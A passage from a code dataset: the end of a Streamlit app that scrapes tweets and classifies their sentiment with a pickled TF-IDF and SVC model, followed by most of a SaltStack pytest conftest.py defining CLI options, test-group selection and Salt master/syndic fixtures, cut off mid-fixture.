query:')\n st.info(text_tweets[0][0])\n st.success(text_tweets[0][1])\n\n df = pd.DataFrame(text_tweets, columns=['Date', 'Tweets'])\n\n\n# @st.cache(suppress_st_warning=True)\n# @st.cache(allow_output_mutation=True)\ndef getTweets(query, count):\n text_query = query\n # Creation of query object\n tweetCriteria = got.manager.TweetCriteria().setQuerySearch(\n text_query).setMaxTweets(count)\n # Creation of list that contains all tweets\n tweets = got.manager.TweetManager.getTweets(tweetCriteria)\n text_tweets = [[tweet.date, tweet.text] for tweet in tweets]\n df = pd.DataFrame(text_tweets, columns=['Date', 'Tweets'])\n return df\n\n\n# @st.cache(suppress_st_warning=True)\n# @st.cache(allow_output_mutation=True)\ndef preprocess(tweet):\n # LowerCase\n tweet = tweet.lower()\n\n # Replacing URL\n tweet = tweet.replace(r'https?://[^\\s<>\"]+|www\\.[^\\s<>\"]+', \"URL\")\n\n # Removing Username\n tweet = tweet.replace(r'@[^\\s]+', \"\")\n\n # Removing Non-Alpha Numeric Chars\n tweet = tweet.replace(r'[^A-Za-z0-9 ]+', \"\")\n stop_words = stopwords.words('english')\n text_tokens = word_tokenize(tweet)\n tokens_without_sw = [\n word for word in text_tokens if not word in stop_words]\n\n # Lementize\n wordlem = WordNetLemmatizer()\n tokens_without_sw = [wordlem.lemmatize(word) for word in tokens_without_sw]\n filtered_sentence = (\" \").join(tokens_without_sw)\n\n return filtered_sentence\n\n\n# @st.cache()\ndef load_models():\n\n start=time.time()\n # Load the vectoriser.\n file = open('./Models/tfidf-ngram-(1,3).pickle', 'rb')\n vectorizer = pickle.load(file)\n file.close()\n\n # Load the LR Model.\n\n file = open('./Models/svc.pickle', 'rb')\n\n lr = pickle.load(file)\n file.close()\n\n end = time.time()\n print(\"Loading Model Took: \",end - start)\n return vectorizer, lr\n\n\n# @st.cache(allow_output_mutation=True)\ndef predict(vectorizer, model, tweets):\n\n start=time.time()\n print(\"----------------PreProcessing--------------------------\")\n preproc = []\n for tweet in tweets:\n preproc.append(preprocess(tweet))\n\n print(\"----------------Vectorising--------------------------\")\n vect = vectorizer.transform(preproc)\n\n print(\"----------------Predicting--------------------------\")\n sent = model.predict(vect)\n\n data = []\n for text, pred in zip(tweets, sent):\n data.append((text, pred))\n\n df = pd.DataFrame(data, columns=[\"Tweets\", \"Sentiment\"])\n df = df.replace([0, 1], [\"Negative\", \"Positive\"])\n\n end = time.time()\n print(\"Predicting Took: \",end - start)\n \n return df\n\n\ndef main():\n # page title\n\n\n st.title('Twitter Sentiment Analysis')\n activities = ['Analyze Tweets', 'About']\n choice = st.sidebar.selectbox('Select Activity', activities)\n\n #Loading Models\n if choice == \"Analyze Tweets\":\n\n flag=st.sidebar.checkbox('Add Keyword')\n st.subheader('Input a tweet query')\n\n # user query\n user_input = st.text_input(\"Keyword\", \"Type Here.\")\n if flag:\n user_input2 = st.text_input(\n \"Another Keyword\", \"Type Here.\")\n\n count=st.sidebar.slider(\"Number of Tweets\", min_value=10, max_value=1000, value=100,step=10)\n bar=st.progress(0)\n \n \n if st.button(\"Submit\"):\n with st.spinner('Wait for it...'):\n start=time.time()\n \n\n text_query = user_input\n queryTweet(text_query)\n bar.progress(10)\n \n\n vect, model = load_models()\n bar.progress(30)\n \n tw1 = getTweets(user_input, count)\n tw1_pred = predict(vect, model, tw1[\"Tweets\"].tolist())\n tw1_pred[\"Date\"] = tw1[\"Date\"]\n\n st.subheader(user_input)\n st.dataframe(tw1_pred)\n\n\n bar.progress(60)\n \n\n if(flag):\n tw2 = getTweets(user_input2, count)\n tw2_pred = predict(vect, model, tw2[\"Tweets\"].tolist())\n tw2_pred[\"Date\"] = tw2[\"Date\"]\n\n\n st.subheader(user_input2)\n st.dataframe(tw2_pred)\n\n # tdf[\"Date\"]=df[\"Date\"]\n\n\n if(flag):\n # scatter plot\n st.subheader(\"Scatter Plot\")\n fig = make_subplots(rows=1, cols=2) \n fig.add_trace(\n go.Scatter(\n x=tw1_pred[\"Date\"], y=tw1_pred[\"Sentiment\"], name=user_input),row=1,col=1)\n fig.add_trace(\n go.Scatter(\n x=tw2_pred[\"Date\"], y=tw2_pred[\"Sentiment\"], name=user_input2),row=1,col=2)\n st.plotly_chart(fig)\n\n\n # pie chart\n st.subheader(user_input)\n val = tw1_pred[\"Sentiment\"].value_counts().values\n fig = go.Figure()\n fig.add_trace(go.Pie(labels=['Positive', 'Negative'],\n values=val, name=user_input))\n st.plotly_chart(fig)\n\n \n st.subheader(user_input2)\n val2 = tw2_pred[\"Sentiment\"].value_counts().values\n fig = go.Figure()\n fig.add_trace(go.Pie(labels=['Positive', 'Negative'],\n values=val2, name=user_input2))\n st.plotly_chart(fig)\n\n\n\n # bar chart\n st.subheader(\"Bar Chart\")\n fig = go.Figure()\n fig.add_trace(\n go.Bar(x=['Negative', 'Positive'], y=val, name=user_input))\n fig.add_trace(\n go.Bar(x=['Negative', 'Positive'], y=val2, name=user_input2))\n\n fig.update_layout(title=\"{} v {}\".format(user_input, user_input2), title_x=0.5,\n xaxis_title='Sentiment',\n yaxis_title='Number of Tweets')\n st.plotly_chart(fig)\n\n\n \n\n else:\n # plot\n st.subheader(\"Scatter Plot\")\n fig = go.Figure()\n fig.add_trace(go.Scatter(\n x=tw1_pred[\"Date\"], y=tw1_pred[\"Sentiment\"], name=user_input))\n \n st.plotly_chart(fig)\n\n\n # pie chart\n st.subheader(\"Pie Chart\")\n val = tw1_pred[\"Sentiment\"].value_counts().values\n fig = go.Figure()\n fig.add_trace(go.Pie(labels=['Positive', 'Negative'],\n values=val, name='First Tweet'))\n st.plotly_chart(fig)\n\n # bar chart\n st.subheader(\"Bar Chart\")\n fig = go.Figure()\n fig.add_trace(\n go.Bar(x=['Negative', 'Positive'], y=val, name=user_input))\n # fig.add_trace(\n # go.Bar(x=['Negative', 'Positive'], y=val2, name=user_input2))\n\n fig.update_layout(title=user_input, title_x=0.5,\n xaxis_title='Sentiment',\n yaxis_title='Number of Tweets')\n st.plotly_chart(fig)\n\n\n\n bar.progress(100)\n \n st.balloons()\n end = time.time()\n print(\"Total Time: \",end - start)\n \n\n elif choice == \"About\":\n st.subheader(\"Orientation Project for Team Rigel\")\n st.info(\"Twitter Sentiment Classifier trained on Sentiment 140 Dataset. Tweets preprocessed and TF-IDF computed with ngram=(1,3) and 10k words . Best performing model was Support Vector Classifier with 80% Accuracy. GetOldTweets is used for twitter scraping.\")\n st.markdown(\n \"Built by [Paul](https://github.com/talentmavingire/)\" \" ,\" \" [Asad](https://github.com/AsadAliDD/)\"\" ,and\" \" [Maaz](https://github.com/maazzzzz/)\")\n \nif __name__ == '__main__':\n main()\n","repo_name":"AsadAliDD/TwitterSentiment","sub_path":"SentimentAnalysis.py","file_name":"SentimentAnalysis.py","file_ext":"py","file_size_in_byte":9139,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"19"} +{"seq_id":"34121186998","text":"\"\"\"\n :codeauthor: Pedro Algarvio (pedro@algarvio.me)\n\n tests.conftest\n ~~~~~~~~~~~~~~\n\n Prepare py.test for our test suite\n\"\"\"\n# pylint: disable=wrong-import-order,wrong-import-position,3rd-party-local-module-not-gated\n# pylint: disable=redefined-outer-name,invalid-name,3rd-party-module-not-gated\n\n\nimport logging\nimport os\nimport pathlib\nimport pprint\nimport re\nimport shutil\nimport ssl\nimport stat\nimport sys\nimport textwrap\nfrom functools import partial, wraps\nfrom unittest import TestCase # pylint: disable=blacklisted-module\n\nimport _pytest.logging\nimport _pytest.skipping\nimport psutil\nimport pytest\nimport salt._logging.impl\nimport salt.config\nimport salt.loader\nimport salt.log.mixins\nimport salt.utils.files\nimport salt.utils.path\nimport salt.utils.platform\nimport salt.utils.win_functions\nimport salt.version\nimport saltfactories.utils.compat\nfrom salt.serializers import yaml\nfrom salt.utils.immutabletypes import freeze\nfrom tests.support.helpers import (\n PRE_PYTEST_SKIP_OR_NOT,\n PRE_PYTEST_SKIP_REASON,\n Webserver,\n get_virtualenv_binary_path,\n)\nfrom tests.support.pytest.helpers import * # pylint: disable=unused-wildcard-import\nfrom tests.support.runtests import RUNTIME_VARS\nfrom tests.support.sminion import check_required_sminion_attributes, create_sminion\n#\n# Toaster specifics\nimport glob\nfrom fnmatch import fnmatch\n\n\nTESTS_DIR = pathlib.Path.cwd() / \"tests\"\nPYTESTS_DIR = TESTS_DIR / \"pytests\"\nCODE_DIR = TESTS_DIR.parent\n\n# Change to code checkout directory\nos.chdir(str(CODE_DIR))\n\n# Make sure the current directory is the first item in sys.path\nif str(CODE_DIR) in sys.path:\n sys.path.remove(str(CODE_DIR))\nsys.path.insert(0, str(CODE_DIR))\n\n# Coverage\nif \"COVERAGE_PROCESS_START\" in os.environ:\n MAYBE_RUN_COVERAGE = True\n COVERAGERC_FILE = os.environ[\"COVERAGE_PROCESS_START\"]\nelse:\n COVERAGERC_FILE = str(CODE_DIR / \".coveragerc\")\n MAYBE_RUN_COVERAGE = (\n sys.argv[0].endswith(\"pytest.py\") or \"_COVERAGE_RCFILE\" in os.environ\n )\n if MAYBE_RUN_COVERAGE:\n # Flag coverage to track suprocesses by pointing it to the right .coveragerc file\n os.environ[\"COVERAGE_PROCESS_START\"] = str(COVERAGERC_FILE)\n\n# Define the pytest plugins we rely on\npytest_plugins = [\"tempdir\", \"helpers_namespace\"]\n\n# Define where not to collect tests from\ncollect_ignore = [\"setup.py\"]\n\n\n# Patch PyTest logging handlers\nclass LogCaptureHandler(\n salt.log.mixins.ExcInfoOnLogLevelFormatMixIn, _pytest.logging.LogCaptureHandler\n):\n \"\"\"\n Subclassing PyTest's LogCaptureHandler in order to add the\n exc_info_on_loglevel functionality and actually make it a NullHandler,\n it's only used to print log messages emmited during tests, which we\n have explicitly disabled in pytest.ini\n \"\"\"\n\n\n_pytest.logging.LogCaptureHandler = LogCaptureHandler\n\n\nclass LiveLoggingStreamHandler(\n salt.log.mixins.ExcInfoOnLogLevelFormatMixIn,\n _pytest.logging._LiveLoggingStreamHandler,\n):\n \"\"\"\n Subclassing PyTest's LiveLoggingStreamHandler in order to add the\n exc_info_on_loglevel functionality.\n \"\"\"\n\n\n_pytest.logging._LiveLoggingStreamHandler = LiveLoggingStreamHandler\n\n# Reset logging root handlers\nfor handler in logging.root.handlers[:]:\n logging.root.removeHandler(handler)\n\n\n# Reset the root logger to its default level(because salt changed it)\nlogging.root.setLevel(logging.WARNING)\n\nlog = logging.getLogger(\"salt.testsuite\")\n\n\n# ----- PyTest Tempdir Plugin Hooks --------------------------------------------------------------------------------->\ndef pytest_tempdir_basename():\n \"\"\"\n Return the temporary directory basename for the salt test suite.\n \"\"\"\n return \"salt-tests-tmpdir\"\n\n\n# <---- PyTest Tempdir Plugin Hooks ----------------------------------------------------------------------------------\n\n\n# ----- CLI Options Setup ------------------------------------------------------------------------------------------->\ndef pytest_addoption(parser):\n \"\"\"\n register argparse-style options and ini-style config values.\n \"\"\"\n test_selection_group = parser.getgroup(\"Tests Selection\")\n test_selection_group.addoption(\n \"--from-filenames\",\n default=None,\n help=(\n \"Pass a comma-separated list of file paths, and any test module which corresponds to the \"\n \"specified file(s) will run. For example, if 'setup.py' was passed, then the corresponding \"\n \"test files defined in 'tests/filename_map.yml' would run. Absolute paths are assumed to be \"\n \"files containing relative paths, one per line. Providing the paths in a file can help get \"\n \"around shell character limits when the list of files is long.\"\n ),\n )\n # Add deprecated CLI flag until we completely switch to PyTest\n test_selection_group.addoption(\n \"--names-file\", default=None, help=\"Deprecated option\"\n )\n test_selection_group.addoption(\n \"--transport\",\n default=\"zeromq\",\n choices=(\"zeromq\", \"tcp\"),\n help=(\n \"Select which transport to run the integration tests with, zeromq or tcp. Default: %(default)s\"\n ),\n )\n test_selection_group.addoption(\n \"--ssh\",\n \"--ssh-tests\",\n dest=\"ssh\",\n action=\"store_true\",\n default=False,\n help=\"Run salt-ssh tests. These tests will spin up a temporary \"\n \"SSH server on your machine. In certain environments, this \"\n \"may be insecure! Default: False\",\n )\n test_selection_group.addoption(\n \"--proxy\",\n \"--proxy-tests\",\n dest=\"proxy\",\n action=\"store_true\",\n default=False,\n help=\"Run proxy tests\",\n )\n test_selection_group.addoption(\n \"--run-slow\", action=\"store_true\", default=False, help=\"Run slow tests.\",\n )\n\n output_options_group = parser.getgroup(\"Output Options\")\n output_options_group.addoption(\n \"--output-columns\",\n default=80,\n type=int,\n help=\"Number of maximum columns to use on the output\",\n )\n output_options_group.addoption(\n \"--no-colors\",\n \"--no-colours\",\n default=False,\n action=\"store_true\",\n help=\"Disable colour printing.\",\n )\n\n # ----- Test Groups --------------------------------------------------------------------------------------------->\n # This will allow running the tests in chunks\n test_selection_group.addoption(\n \"--test-group-count\",\n dest=\"test-group-count\",\n type=int,\n help=\"The number of groups to split the tests into\",\n )\n test_selection_group.addoption(\n \"--test-group\",\n dest=\"test-group\",\n type=int,\n help=\"The group of tests that should be executed\",\n )\n # <---- Test Groups ----------------------------------------------------------------------------------------------\n # Toaster specific\n parser.addini(\"tests_type\", help=\"Type of the tests being run\", default='unit')\n\n\n# <---- CLI Options Setup --------------------------------------------------------------------------------------------\n\n\n# ----- Register Markers -------------------------------------------------------------------------------------------->\n@pytest.mark.trylast\ndef pytest_configure(config):\n \"\"\"\n called after command line options have been parsed\n and all plugins and initial conftest files been loaded.\n \"\"\"\n for dirname in CODE_DIR.iterdir():\n if not dirname.is_dir():\n continue\n if dirname != TESTS_DIR:\n config.addinivalue_line(\"norecursedirs\", str(CODE_DIR / dirname))\n\n # Expose the markers we use to pytest CLI\n config.addinivalue_line(\n \"markers\",\n \"requires_salt_modules(*required_module_names): Skip if at least one module is not available.\",\n )\n config.addinivalue_line(\n \"markers\",\n \"requires_salt_states(*required_state_names): Skip if at least one state module is not available.\",\n )\n config.addinivalue_line(\n \"markers\", \"windows_whitelisted: Mark test as whitelisted to run under Windows\"\n )\n config.addinivalue_line(\n \"markers\", \"requires_sshd_server: Mark test that require an SSH server running\"\n )\n # Make sure the test suite \"knows\" this is a pytest test run\n RUNTIME_VARS.PYTEST_SESSION = True\n\n # \"Flag\" the slotTest decorator if we're skipping slow tests or not\n os.environ[\"SLOW_TESTS\"] = str(config.getoption(\"--run-slow\"))\n\n # Toaster specific\n config.salt_version = salt.version.__version__\n config.xfail_list = get_list(config, 'xfail_list')\n config.ignore_list = get_list(config, 'ignore_list')\n\n\n# <---- Register Markers ---------------------------------------------------------------------------------------------\n\n\n# ----- PyTest Tweaks ----------------------------------------------------------------------------------------------->\ndef set_max_open_files_limits(min_soft=3072, min_hard=4096):\n\n # Get current limits\n if salt.utils.platform.is_windows():\n import win32file\n\n prev_hard = win32file._getmaxstdio()\n prev_soft = 512\n else:\n import resource\n\n prev_soft, prev_hard = resource.getrlimit(resource.RLIMIT_NOFILE)\n\n # Check minimum required limits\n set_limits = False\n if prev_soft < min_soft:\n soft = min_soft\n set_limits = True\n else:\n soft = prev_soft\n\n if prev_hard < min_hard:\n hard = min_hard\n set_limits = True\n else:\n hard = prev_hard\n\n # Increase limits\n if set_limits:\n log.debug(\n \" * Max open files settings is too low (soft: %s, hard: %s) for running the tests. \"\n \"Trying to raise the limits to soft: %s, hard: %s\",\n prev_soft,\n prev_hard,\n soft,\n hard,\n )\n try:\n if salt.utils.platform.is_windows():\n hard = 2048 if hard > 2048 else hard\n win32file._setmaxstdio(hard)\n else:\n resource.setrlimit(resource.RLIMIT_NOFILE, (soft, hard))\n except Exception as err: # pylint: disable=broad-except\n log.error(\n \"Failed to raise the max open files settings -> %s. Please issue the following command \"\n \"on your console: 'ulimit -u %s'\",\n err,\n soft,\n )\n exit(1)\n return soft, hard\n\n\ndef pytest_report_header():\n soft, hard = set_max_open_files_limits()\n return \"max open files; soft: {}; hard: {}\".format(soft, hard)\n\n\n@pytest.hookimpl(hookwrapper=True, trylast=True)\ndef pytest_collection_modifyitems(config, items):\n \"\"\"\n called after collection has been performed, may filter or re-order\n the items in-place.\n\n :param _pytest.main.Session session: the pytest session object\n :param _pytest.config.Config config: pytest config object\n :param List[_pytest.nodes.Item] items: list of item objects\n \"\"\"\n # Let PyTest or other plugins handle the initial collection\n yield\n groups_collection_modifyitems(config, items)\n from_filenames_collection_modifyitems(config, items)\n\n log.warning(\"Mofifying collected tests to keep track of fixture usage\")\n for item in items:\n for fixture in item.fixturenames:\n if fixture not in item._fixtureinfo.name2fixturedefs:\n continue\n for fixturedef in item._fixtureinfo.name2fixturedefs[fixture]:\n if fixturedef.scope != \"package\":\n continue\n try:\n fixturedef.finish.__wrapped__\n except AttributeError:\n original_func = fixturedef.finish\n\n def wrapper(func, fixturedef):\n @wraps(func)\n def wrapped(self, request, nextitem=False):\n try:\n return self._finished\n except AttributeError:\n if nextitem:\n fpath = pathlib.Path(self.baseid).resolve()\n tpath = pathlib.Path(\n nextitem.fspath.strpath\n ).resolve()\n try:\n tpath.relative_to(fpath)\n # The test module is within the same package that the fixture is\n if (\n not request.session.shouldfail\n and not request.session.shouldstop\n ):\n log.debug(\n \"The next test item is still under the fixture package path. \"\n \"Not terminating %s\",\n self,\n )\n return\n except ValueError:\n pass\n log.debug(\"Finish called on %s\", self)\n try:\n return func(request)\n except BaseException as exc: # pylint: disable=broad-except\n pytest.fail(\n \"Failed to run finish() on {}: {}\".format(\n fixturedef, exc\n ),\n pytrace=True,\n )\n finally:\n self._finished = True\n\n return partial(wrapped, fixturedef)\n\n fixturedef.finish = wrapper(fixturedef.finish, fixturedef)\n try:\n fixturedef.finish.__wrapped__\n except AttributeError:\n fixturedef.finish.__wrapped__ = original_func\n\n\n@pytest.hookimpl(trylast=True, hookwrapper=True)\ndef pytest_runtest_protocol(item, nextitem):\n \"\"\"\n implements the runtest_setup/call/teardown protocol for\n the given test item, including capturing exceptions and calling\n reporting hooks.\n\n :arg item: test item for which the runtest protocol is performed.\n\n :arg nextitem: the scheduled-to-be-next test item (or None if this\n is the end my friend). This argument is passed on to\n :py:func:`pytest_runtest_teardown`.\n\n :return boolean: True if no further hook implementations should be invoked.\n\n\n Stops at first non-None result, see :ref:`firstresult`\n \"\"\"\n request = item._request\n used_fixture_defs = []\n for fixture in item.fixturenames:\n if fixture not in item._fixtureinfo.name2fixturedefs:\n continue\n for fixturedef in reversed(item._fixtureinfo.name2fixturedefs[fixture]):\n if fixturedef.scope != \"package\":\n continue\n used_fixture_defs.append(fixturedef)\n try:\n # Run the test\n yield\n finally:\n for fixturedef in used_fixture_defs:\n fixturedef.finish(request, nextitem=nextitem)\n del request\n del used_fixture_defs\n\n\n# <---- PyTest Tweaks ------------------------------------------------------------------------------------------------\n\n\n# ----- Test Setup -------------------------------------------------------------------------------------------------->\n@pytest.hookimpl(tryfirst=True)\ndef pytest_runtest_setup(item):\n \"\"\"\n Fixtures injection based on markers or test skips based on CLI arguments\n \"\"\"\n integration_utils_tests_path = str(TESTS_DIR / \"integration\" / \"utils\")\n if (\n str(item.fspath).startswith(integration_utils_tests_path)\n and PRE_PYTEST_SKIP_OR_NOT is True\n ):\n item._skipped_by_mark = True\n pytest.skip(PRE_PYTEST_SKIP_REASON)\n\n if saltfactories.utils.compat.has_unittest_attr(item, \"__slow_test__\"):\n if item.config.getoption(\"--run-slow\") is False:\n item._skipped_by_mark = True\n pytest.skip(\"Slow tests are disabled!\")\n\n requires_sshd_server_marker = item.get_closest_marker(\"requires_sshd_server\")\n if requires_sshd_server_marker is not None:\n if not item.config.getoption(\"--ssh-tests\"):\n item._skipped_by_mark = True\n pytest.skip(\"SSH tests are disabled, pass '--ssh-tests' to enable them.\")\n item.fixturenames.append(\"sshd_server\")\n\n requires_salt_modules_marker = item.get_closest_marker(\"requires_salt_modules\")\n if requires_salt_modules_marker is not None:\n required_salt_modules = requires_salt_modules_marker.args\n if len(required_salt_modules) == 1 and isinstance(\n required_salt_modules[0], (list, tuple, set)\n ):\n required_salt_modules = required_salt_modules[0]\n required_salt_modules = set(required_salt_modules)\n not_available_modules = check_required_sminion_attributes(\n \"functions\", required_salt_modules\n )\n\n if not_available_modules:\n item._skipped_by_mark = True\n if len(not_available_modules) == 1:\n pytest.skip(\n \"Salt module '{}' is not available\".format(*not_available_modules)\n )\n pytest.skip(\n \"Salt modules not available: {}\".format(\n \", \".join(not_available_modules)\n )\n )\n\n requires_salt_states_marker = item.get_closest_marker(\"requires_salt_states\")\n if requires_salt_states_marker is not None:\n required_salt_states = requires_salt_states_marker.args\n if len(required_salt_states) == 1 and isinstance(\n required_salt_states[0], (list, tuple, set)\n ):\n required_salt_states = required_salt_states[0]\n required_salt_states = set(required_salt_states)\n not_available_states = check_required_sminion_attributes(\n \"states\", required_salt_states\n )\n\n if not_available_states:\n item._skipped_by_mark = True\n if len(not_available_states) == 1:\n pytest.skip(\n \"Salt state module '{}' is not available\".format(\n *not_available_states\n )\n )\n pytest.skip(\n \"Salt state modules not available: {}\".format(\n \", \".join(not_available_states)\n )\n )\n\n if salt.utils.platform.is_windows():\n unit_tests_paths = (\n str(TESTS_DIR / \"unit\"),\n str(PYTESTS_DIR / \"unit\"),\n )\n if not str(pathlib.Path(item.fspath).resolve()).startswith(unit_tests_paths):\n # Unit tests are whitelisted on windows by default, so, we're only\n # after all other tests\n windows_whitelisted_marker = item.get_closest_marker(\"windows_whitelisted\")\n if windows_whitelisted_marker is None:\n item._skipped_by_mark = True\n pytest.skip(\"Test is not whitelisted for Windows\")\n\n\n# <---- Test Setup ---------------------------------------------------------------------------------------------------\n\n\n# ----- Test Groups Selection --------------------------------------------------------------------------------------->\ndef get_group_size_and_start(total_items, total_groups, group_id):\n \"\"\"\n Calculate group size and start index.\n \"\"\"\n base_size = total_items // total_groups\n rem = total_items % total_groups\n\n start = base_size * (group_id - 1) + min(group_id - 1, rem)\n size = base_size + 1 if group_id <= rem else base_size\n\n return (start, size)\n\n\ndef get_group(items, total_groups, group_id):\n \"\"\"\n Get the items from the passed in group based on group size.\n \"\"\"\n if not 0 < group_id <= total_groups:\n raise ValueError(\"Invalid test-group argument\")\n\n start, size = get_group_size_and_start(len(items), total_groups, group_id)\n selected = items[start : start + size]\n deselected = items[:start] + items[start + size :]\n assert len(selected) + len(deselected) == len(items)\n return selected, deselected\n\n\ndef groups_collection_modifyitems(config, items):\n group_count = config.getoption(\"test-group-count\")\n group_id = config.getoption(\"test-group\")\n\n if not group_count or not group_id:\n # We're not selection tests using groups, don't do any filtering\n return\n\n total_items = len(items)\n\n tests_in_group, deselected = get_group(items, group_count, group_id)\n # Replace all items in the list\n items[:] = tests_in_group\n if deselected:\n config.hook.pytest_deselected(items=deselected)\n\n terminal_reporter = config.pluginmanager.get_plugin(\"terminalreporter\")\n terminal_reporter.write(\n \"Running test group #{} ({} tests)\\n\".format(group_id, len(items)), yellow=True,\n )\n\n\n# <---- Test Groups Selection ----------------------------------------------------------------------------------------\n\n\n# ----- Fixtures Overrides ------------------------------------------------------------------------------------------>\n@pytest.fixture(scope=\"session\")\ndef salt_factories_config():\n \"\"\"\n Return a dictionary with the keyworkd arguments for FactoriesManager\n \"\"\"\n return {\n \"code_dir\": str(CODE_DIR),\n \"inject_coverage\": MAYBE_RUN_COVERAGE,\n \"inject_sitecustomize\": MAYBE_RUN_COVERAGE,\n \"start_timeout\": 120\n if (os.environ.get(\"JENKINS_URL\") or os.environ.get(\"CI\"))\n else 60,\n }\n\n\n# <---- Fixtures Overrides -------------------------------------------------------------------------------------------\n\n\n# ----- Salt Factories ---------------------------------------------------------------------------------------------->\n@pytest.fixture(scope=\"session\")\ndef integration_files_dir(salt_factories):\n \"\"\"\n Fixture which returns the salt integration files directory path.\n Creates the directory if it does not yet exist.\n \"\"\"\n dirname = salt_factories.root_dir / \"integration-files\"\n dirname.mkdir(exist_ok=True)\n for child in (PYTESTS_DIR / \"integration\" / \"files\").iterdir():\n if child.is_dir():\n shutil.copytree(str(child), str(dirname / child.name))\n else:\n shutil.copyfile(str(child), str(dirname / child.name))\n return dirname\n\n\n@pytest.fixture(scope=\"session\")\ndef state_tree_root_dir(integration_files_dir):\n \"\"\"\n Fixture which returns the salt state tree root directory path.\n Creates the directory if it does not yet exist.\n \"\"\"\n dirname = integration_files_dir / \"state-tree\"\n dirname.mkdir(exist_ok=True)\n return dirname\n\n\n@pytest.fixture(scope=\"session\")\ndef pillar_tree_root_dir(integration_files_dir):\n \"\"\"\n Fixture which returns the salt pillar tree root directory path.\n Creates the directory if it does not yet exist.\n \"\"\"\n dirname = integration_files_dir / \"pillar-tree\"\n dirname.mkdir(exist_ok=True)\n return dirname\n\n\n@pytest.fixture(scope=\"session\")\ndef base_env_state_tree_root_dir(state_tree_root_dir):\n \"\"\"\n Fixture which returns the salt base environment state tree directory path.\n Creates the directory if it does not yet exist.\n \"\"\"\n dirname = state_tree_root_dir / \"base\"\n dirname.mkdir(exist_ok=True)\n RUNTIME_VARS.TMP_STATE_TREE = str(dirname.resolve())\n RUNTIME_VARS.TMP_BASEENV_STATE_TREE = RUNTIME_VARS.TMP_STATE_TREE\n return dirname\n\n\n@pytest.fixture(scope=\"session\")\ndef prod_env_state_tree_root_dir(state_tree_root_dir):\n \"\"\"\n Fixture which returns the salt prod environment state tree directory path.\n Creates the directory if it does not yet exist.\n \"\"\"\n dirname = state_tree_root_dir / \"prod\"\n dirname.mkdir(exist_ok=True)\n RUNTIME_VARS.TMP_PRODENV_STATE_TREE = str(dirname.resolve())\n return dirname\n\n\n@pytest.fixture(scope=\"session\")\ndef base_env_pillar_tree_root_dir(pillar_tree_root_dir):\n \"\"\"\n Fixture which returns the salt base environment pillar tree directory path.\n Creates the directory if it does not yet exist.\n \"\"\"\n dirname = pillar_tree_root_dir / \"base\"\n dirname.mkdir(exist_ok=True)\n RUNTIME_VARS.TMP_PILLAR_TREE = str(dirname.resolve())\n RUNTIME_VARS.TMP_BASEENV_PILLAR_TREE = RUNTIME_VARS.TMP_PILLAR_TREE\n return dirname\n\n\n@pytest.fixture(scope=\"session\")\ndef prod_env_pillar_tree_root_dir(pillar_tree_root_dir):\n \"\"\"\n Fixture which returns the salt prod environment pillar tree directory path.\n Creates the directory if it does not yet exist.\n \"\"\"\n dirname = pillar_tree_root_dir / \"prod\"\n dirname.mkdir(exist_ok=True)\n RUNTIME_VARS.TMP_PRODENV_PILLAR_TREE = str(dirname.resolve())\n return dirname\n\n\n@pytest.fixture(scope=\"session\")\ndef salt_syndic_master_factory(\n request,\n salt_factories,\n base_env_state_tree_root_dir,\n base_env_pillar_tree_root_dir,\n prod_env_state_tree_root_dir,\n prod_env_pillar_tree_root_dir,\n):\n root_dir = salt_factories.get_root_dir_for_daemon(\"syndic_master\")\n conf_dir = root_dir / \"conf\"\n conf_dir.mkdir(exist_ok=True)\n\n with salt.utils.files.fopen(\n os.path.join(RUNTIME_VARS.CONF_DIR, \"syndic_master\")\n ) as rfh:\n config_defaults = yaml.deserialize(rfh.read())\n\n tests_known_hosts_file = str(root_dir / \"salt_ssh_known_hosts\")\n with salt.utils.files.fopen(tests_known_hosts_file, \"w\") as known_hosts:\n known_hosts.write(\"\")\n\n config_defaults[\"root_dir\"] = str(root_dir)\n config_defaults[\"known_hosts_file\"] = tests_known_hosts_file\n config_defaults[\"syndic_master\"] = \"localhost\"\n config_defaults[\"transport\"] = request.config.getoption(\"--transport\")\n\n config_overrides = {}\n ext_pillar = []\n if salt.utils.platform.is_windows():\n ext_pillar.append(\n {\"cmd_yaml\": \"type {}\".format(os.path.join(RUNTIME_VARS.FILES, \"ext.yaml\"))}\n )\n else:\n ext_pillar.append(\n {\"cmd_yaml\": \"cat {}\".format(os.path.join(RUNTIME_VARS.FILES, \"ext.yaml\"))}\n )\n\n # We need to copy the extension modules into the new master root_dir or\n # it will be prefixed by it\n extension_modules_path = str(root_dir / \"extension_modules\")\n if not os.path.exists(extension_modules_path):\n shutil.copytree(\n os.path.join(RUNTIME_VARS.FILES, \"extension_modules\"),\n extension_modules_path,\n )\n\n # Copy the autosign_file to the new master root_dir\n autosign_file_path = str(root_dir / \"autosign_file\")\n shutil.copyfile(\n os.path.join(RUNTIME_VARS.FILES, \"autosign_file\"), autosign_file_path\n )\n # all read, only owner write\n autosign_file_permissions = (\n stat.S_IRUSR | stat.S_IRGRP | stat.S_IROTH | stat.S_IWUSR\n )\n os.chmod(autosign_file_path, autosign_file_permissions)\n\n config_overrides.update(\n {\n \"ext_pillar\": ext_pillar,\n \"extension_modules\": extension_modules_path,\n \"file_roots\": {\n \"base\": [\n str(base_env_state_tree_root_dir),\n os.path.join(RUNTIME_VARS.FILES, \"file\", \"base\"),\n ],\n # Alternate root to test __env__ choices\n \"prod\": [\n str(prod_env_state_tree_root_dir),\n os.path.join(RUNTIME_VARS.FILES, \"file\", \"prod\"),\n ],\n },\n \"pillar_roots\": {\n \"base\": [\n str(base_env_pillar_tree_root_dir),\n os.path.join(RUNTIME_VARS.FILES, \"pillar\", \"base\"),\n ],\n \"prod\": [str(prod_env_pillar_tree_root_dir)],\n },\n }\n )\n\n factory = salt_factories.get_salt_master_daemon(\n \"syndic_master\",\n order_masters=True,\n config_defaults=config_defaults,\n config_overrides=config_overrides,\n extra_cli_arguments_after_first_start_failure=[\"--log-level=debug\"],\n )\n return factory\n\n\n@pytest.fixture(scope=\"session\")\ndef salt_syndic_factory(salt_factories, salt_syndic_master_factory):\n config_defaults = {\"master\": None, \"minion\": None, \"syndic\": None}\n with salt.utils.files.fopen(os.path.join(RUNTIME_VARS.CONF_DIR, \"syndic\")) as rfh:\n opts = yaml.deserialize(rfh.read())\n\n opts[\"hosts.file\"] = os.path.join(RUNTIME_VARS.TMP, \"hosts\")\n opts[\"aliases.file\"] = os.path.join(RUNTIME_VARS.TMP, \"aliases\")\n opts[\"transport\"] = salt_syndic_master_factory.config[\"transport\"]\n config_defaults[\"syndic\"] = 